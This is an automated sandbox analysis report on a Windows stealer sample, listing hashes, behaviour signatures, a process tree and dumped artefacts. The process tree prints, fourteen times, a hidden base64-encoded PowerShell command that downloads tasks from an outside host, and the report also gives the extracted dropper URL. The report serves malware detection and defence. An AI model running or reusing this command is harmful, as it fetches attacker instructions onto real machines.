0447c15031e9c20bf3e54fff070fc9f3315a189c97d223459ffedf6bda21923c

Analysis

max time kernel
148s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/08/2026, 04:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe
Size 229KB
Sample260819-e553nadn51
SHA256 0447c15031e9c20bf3e54fff070fc9f3315a189c97d223459ffedf6bda21923c
MD5 bd5ff2aa1568ab360bd00973d670bd81
SHA1 0ecf3633dfaf5605edba03e2c0aa82b59541095d
SHA512 30e388b9c06d28858e85d9e6e00d12f4a54eef3e816b1be51baaac06aa84a10563bc115a1d546abaf5d29c54754839e7345c40e26664906f7c2ad9f8bd6e24e4
SSDEEP 6144:a/omXJR2H4kQus6tXC6mFEokG7VrlZtczpIQP54rSM3I5K:a/lT2YkDFNRmHprTcFInrSdK
TLSH
T1CD345B223A995DACE556C078C3468663693678CA0B32F9FF02D441352F6ABF67F3C614
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://bore.pub:41992/tasks?id=6595ee48c67a5_1540

Signatures

Badlisted process makes network request 14 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4800	powershell.exe
3	6120	powershell.exe
4	4816	powershell.exe
5	5908	powershell.exe
6	3932	powershell.exe
7	5760	powershell.exe
8	556	powershell.exe
9	4956	powershell.exe
10	1964	powershell.exe
11	6088	powershell.exe
12	1388	powershell.exe
13	1724	powershell.exe
14	3312	powershell.exe
15	1832	powershell.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
4800	powershell.exe
4800	powershell.exe
6120	powershell.exe
6120	powershell.exe
4816	powershell.exe
4816	powershell.exe
5908	powershell.exe
5908	powershell.exe
3932	powershell.exe
3932	powershell.exe
5760	powershell.exe
5760	powershell.exe
556	powershell.exe
556	powershell.exe
4956	powershell.exe
4956	powershell.exe
1964	powershell.exe
1964	powershell.exe
6088	powershell.exe
6088	powershell.exe
1388	powershell.exe
1388	powershell.exe
1724	powershell.exe
1724	powershell.exe
3312	powershell.exe
3312	powershell.exe
1832	powershell.exe
1832	powershell.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	4800	powershell.exe
Token: SeDebugPrivilege	6120	powershell.exe
Token: SeDebugPrivilege	4816	powershell.exe
Token: SeDebugPrivilege	5908	powershell.exe
Token: SeDebugPrivilege	3932	powershell.exe
Token: SeDebugPrivilege	5760	powershell.exe
Token: SeDebugPrivilege	556	powershell.exe
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	6088	powershell.exe
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1540 wrote to memory of 4800	1540	2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe	89
PID 1540 wrote to memory of 6120	1540	2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe	91
PID 1540 wrote to memory of 4816	1540	2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe	94
PID 1540 wrote to memory of 5908	1540	2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe	96
PID 1540 wrote to memory of 3932	1540	2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe	98
PID 1540 wrote to memory of 5760	1540	2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe	100
PID 1540 wrote to memory of 556	1540	2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe	102
PID 1540 wrote to memory of 4956	1540	2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe	104
PID 1540 wrote to memory of 1964	1540	2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe	106
PID 1540 wrote to memory of 6088	1540	2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe	108
PID 1540 wrote to memory of 1388	1540	2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe	110
PID 1540 wrote to memory of 1724	1540	2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe	112
PID 1540 wrote to memory of 3312	1540	2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe	114
PID 1540 wrote to memory of 1832	1540	2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe	116

C:\Users\Admin\AppData\Local\Temp\2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA4AGMANgA3AGEANQBfADEANQA0ADAAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA4AGMANgA3AGEANQBfADEANQA0ADAAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA4AGMANgA3AGEANQBfADEANQA0ADAAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA4AGMANgA3AGEANQBfADEANQA0ADAAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA4AGMANgA3AGEANQBfADEANQA0ADAAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA4AGMANgA3AGEANQBfADEANQA0ADAAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA4AGMANgA3AGEANQBfADEANQA0ADAAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA4AGMANgA3AGEANQBfADEANQA0ADAAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA4AGMANgA3AGEANQBfADEANQA0ADAAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA4AGMANgA3AGEANQBfADEANQA0ADAAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA4AGMANgA3AGEANQBfADEANQA0ADAAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA4AGMANgA3AGEANQBfADEANQA0ADAAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA4AGMANgA3AGEANQBfADEANQA0ADAAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA4AGMANgA3AGEANQBfADEANQA0ADAAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1832

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3674b90c1caf1df47ef6cdfcff99b7987586cab16fe77bbe8318ca09a0cd9a77
MD5 8e905f2b8648d1e6d98fe873e767284e
SHA1 b351c01a95e361a8200fad41aaeb7eda7cd56d00
SHA512 651c9b32840f7670a5ab155e3a89147921c73c323076c72fa39573f6ab7c4a96a64a70cd8078822c004e1842515414c2eba88a034eceff86fab746e992d6fc90
TLSH
T160215733F3CC8624DC9A403650CEAC1136B687DB409EDE6BBB84D549B42F289DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 85a1edb19e4cba601ffad1453056d727d222f9e25b8a08d1beed1eec123dca98
MD5 a1b881e9937413586e50eead012bb9bc
SHA1 124cec0a32e55aec48892dcaef54e7d18da53716
SHA512 b3cc68418b858ee5e6ee607b3bcef703291650a9ee5a432e90f854c7eb8177c492795b3270cca6c39ead4ff573a2d81902bae4abf93e9d7535222c222eee35fd
TLSH
T1B5215733F3CC8624DC9A403610CEAC1537B687DB409EDE6BBB84D549B42F289DF61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 30968549dad31e60a30bcfafe0bc33e745f34f538841d09b91306ea455eee958
MD5 f623929fbf303a8b140095d9568ac988
SHA1 8c39ae9758011dabd587c6f4ae7a63b11343106d
SHA512 a75f1a30783549196144f66a43688f6eda179859f804ced37e03a1ee4d445e87466f1f43b6288dfe775833f9cda36e23ce2796a771515202691ae59162d6efe6
TLSH
T1F7215733F3CC8624DC9A413650CEAC1136B687DB409ECE6BBB84D558B42F289DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 95658760365a64370b7c4eabced18d45639aa6d3bda9d174e37a0dc0c0f4a553
MD5 a48c905e617e7e9266219b9776e9e1f1
SHA1 f91d8fd3e2bb0abb81c1cb28b07c538c7a9d88a2
SHA512 94f0e800759c512c32795d7ec7cff6b45bf7798e4a73bdc13d51737da3f595597ab89564bb43db94ff5e7b88969e21cafad6036328b4f52250c90d6227c90cbc
TLSH
T19E215733F3CC8624DC9A403610CEAC1537B687DB409EDE6BBB84D549B42F189DF61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_1xljmhch.ftd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1xljmhch.ftd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4800-10-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/4800-14-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/4800-9-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/4800-7-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/4800-11-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/4800-12-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/4800-13-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/4800-8-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/4800-16-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/4800-0-0x00007FFB4669F000-0x00007FFB466A0000-memory.dmp

Download

memory/4800-6-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/4800-5-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/4800-4-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/4800-3-0x000001BBF0110000-0x000001BBF0132000-memory.dmp

Download

memory/6120-17-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/6120-25-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/6120-26-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/6120-27-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/6120-29-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/6120-24-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/6120-23-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/6120-21-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download

memory/6120-20-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

Download